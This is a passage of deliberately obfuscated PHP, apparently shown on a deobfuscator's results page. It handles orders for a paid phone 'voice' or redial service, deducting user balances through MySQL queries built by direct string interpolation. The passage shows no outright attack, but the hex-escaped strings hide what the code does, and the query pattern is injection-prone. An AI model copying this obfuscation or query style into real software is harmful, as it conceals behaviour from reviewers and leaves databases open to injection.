"\120\150\x6f\156\145\x20\143\141\162\162\151\145\162\x20\143\x61\x6e\156\157\x74\40\166\x65\162\x69\x66\171\56\40\115\x61\x6b\145\40\163\x75\x72\145\x20\171\157\x75\40\145\156\164\145\162\40\143\157\162\x72\145\143\164\40\156\x75\x6d\142\x65\162\x2e\74\x62\162\76\111\x4e\103\117\x52\122\105\x43\x54\40\116\125\115\102\x45\x52\56"; die("\124\157\x61\163\164\x72\x28\47\120\150\157\156\x65\40\143\141\162\x72\x69\x65\162\40\x63\x61\x6e\x6e\x6f\164\40\x76\145\162\x69\146\171\x2e\x20\x4d\141\x6b\x65\x20\x73\165\162\x65\40\x79\157\165\40\145\x6e\164\145\x72\x20\143\157\162\x72\145\x63\164\x20\156\165\x6d\142\145\x72\56\x3c\x62\162\76\x49\116\x43\117\122\x52\105\x43\x54\40\x4e\x55\x4d\x42\105\x52\x2e\47\x2c\47\x27\x2c\x27\145\x72\162\x6f\x72\47\x29\73"); } else { $return = str_replace("\x54\x77\151\154\x69\x6f", "{$TELE_USERNAME}", $reason); $return .= str_replace("\x27", "\42", $return); $reply .= "\x41\x50\x49\40\101\143\x63\157\x75\x6e\x74\40\150\x61\x73\40\x70\162\157\142\x6c\x65\155\41\x20\120\154\x65\141\163\x65\40\143\157\156\x74\141\143\x74\40\141\x64\155\x69\156\x69\x73\x74\x72\x61\x74\x6f\162\56\x3c\x62\x72\76\40\105\x72\162\x6f\162\x3a\x20{$return}"; die("\x54\157\x61\163\164\x72\x28\47\x41\120\111\40\x41\x63\143\x6f\165\156\x74\40\x68\x61\163\40\160\162\157\142\x6c\145\155\41\40\x50\x6c\x65\x61\163\x65\x20\x63\x6f\156\x74\141\143\164\40\x61\144\155\151\156\x69\x73\164\162\x61\164\157\x72\56\74\x62\162\x3e\40\105\162\x72\x6f\x72\72\x20{$return}\47\x2c\47\47\x2c\x27\x65\162\162\x6f\162\47\51\x3b"); } } } else { if ($result == "\x53\165\143\143\x65\163\163") { $query = mysqli_query($connect, "\x53\x45\114\x45\x43\124\x20\x2a\x20\106\122\117\115\x20\x60\165\x73\145\162\x73\x60\x20\x57\x48\x45\x52\105\x20\140\165\163\145\162\x6e\x61\155\145\140\x20\x3d\40\x27{$_SESSION["\x75\163\x65\162\x6e\x61\155\145"]}\x27"); $fetch = mysqli_fetch_array($query); $query1 = mysqli_query($connect, "\x53\105\114\x45\103\x54\40\52\x20\106\122\117\115\x20\140\163\x65\162\166\151\x63\145\140\40\127\x48\x45\x52\105\x20\x60\156\x61\x6d\x65\140\40\x3d\40\x27\x76\157\151\143\145\x27"); $fetch1 = mysqli_fetch_array($query1); $amount = $fetch1["\x61\x6d\157\x75\x6e\164"]; $credit = $fetch["\142\x61\154\x61\x6e\x63\x65"]; if ($credit >= $amount) { $sid = $a["\123\x69\144"]; $newbal = $credit - $amount; mysqli_query($connect, "\x55\x50\104\x41\124\x45\x20\x60\165\x73\145\x72\163\140\40\123\105\124\x20\x60\x62\141\154\141\156\x63\145\140\40\75\40\x27{$newbal}\x27\x20\x57\x48\105\122\105\40\140\165\163\145\x72\x6e\x61\155\145\x60\40\x3d\x20\x27{$_SESSION["\x75\163\x65\x72\156\x61\x6d\x65"]}\x27"); $query = mysqli_query($connect, "\125\x50\104\x41\124\105\40\x60\x76\x6f\151\143\x65\x2d\x68\151\163\164\x6f\162\x79\140\x20\123\x45\x54\x20\140\143\163\151\144\140\75\x27{$sid}\x27\x20\x57\110\x45\x52\x45\x20\140\144\x61\164\145\x60\40\75\40\x27{$DATE}\x27"); $reply = "\x52\x65\144\x69\x61\154\x20{$a["\x43\141\162\162\151\145\162"]}\x20\x4f\162\x64\x65\162\40\163\x75\143\x63\x65\x73\163\41\40\x59\x6f\x75\x72\x20\157\162\144\145\x72\40\163\x74\141\x74\165\x73\40\143\141\x6e\40\142\145\x20\x63\x68\x65\143\153\40\151\x6e\40\x4f\162\x64\145\x72\x20\110\x69\x73\x74\157\x72\x79"; die("\x54\157\x61\x73\164\x72\50\x27\x52\145\144\x69\x61\154\x20{$a["\103\141\162\x72\151\x65\162"]}\x20\117\x72\x64\145\162\40\163\165\x63\143\x65\163\x73\x21\x20\x59\x6f\x75\x72\x20\157\x72\144\x65\162\40\163\164\141\x74\165\x73\x20\143\141\156\x20\142\145\x20\143\150\145\x63\x6b\x20\x69\x6e\x20\117\x72\144\145\x72\40\x48\151\163\x74\157\x72\x79\x27\x2c\x27\47\54\47\x73\x75\143\x63\x65\163\163\x27\51\73"); return $reply; } } } } catch (Exception $e) { $message = "\342\232\240\x20\101\120\111\40\105\x52\x52\117\122\x20\123\105\x52\x56\105\122\41\x20\342\x9a\240\12\xa"; $message .= "\x41\x50\x49\40\x52\145\163\160\157\x6e\x73\145\72\x20{$check}\xa\xa"; $message .= "\xf0\237\222\245\x20\x41\x64\x6d\151\156\x3a\x20\100\153\150\x65\156\x73\145\162\x76\x65\162\40\360\x9f\222\xa5"; BotMessage($message); $reply = "\x49\x6e\x76\x61\154\151\144\x20\x41\120\111\40\x52\145\163\160\x6f\x6e\x73\145\41\40\x50\154\145\141\x73\145\40\143\157\156\164\141\143\x74\40\x61\x64\155\x69\156\x69\x73\164\x72\141\164\157\x72\56"; die("\124\x6f\x61\163\164\x72\x28\x27{$reply}\x27\54\x27\47\x2c\47\145\x72\x72\157\x72\47\x29\x3b"); } return; } } return; } } } } goto AI1oc; IuSEz: $ErrorAlert = array(); goto UCWZ1; vwRNq: $debugging = false; goto lvTfg; WDvBl: function BotMessage($message) { if (!LOCAL) { $currentdate = CurrentDate(); file_put_contents("\x45\162\x72\157\x72\x28{$currentdate}\x29", $message); } } goto K3PpL; uLq_L: define("\x44\x42\x5f\x53\x45\x52\126\x45\x52", "\x6c\157\x63\141\154\x68\x6f\163\x74"); goto n8vHs; K3PpL: 

Function Calls

None

Variables

None

Stats

MD5 60ded4314a1b0dd3fd8c172d9d8a506c
Eval Count 0
Decode Time 81 ms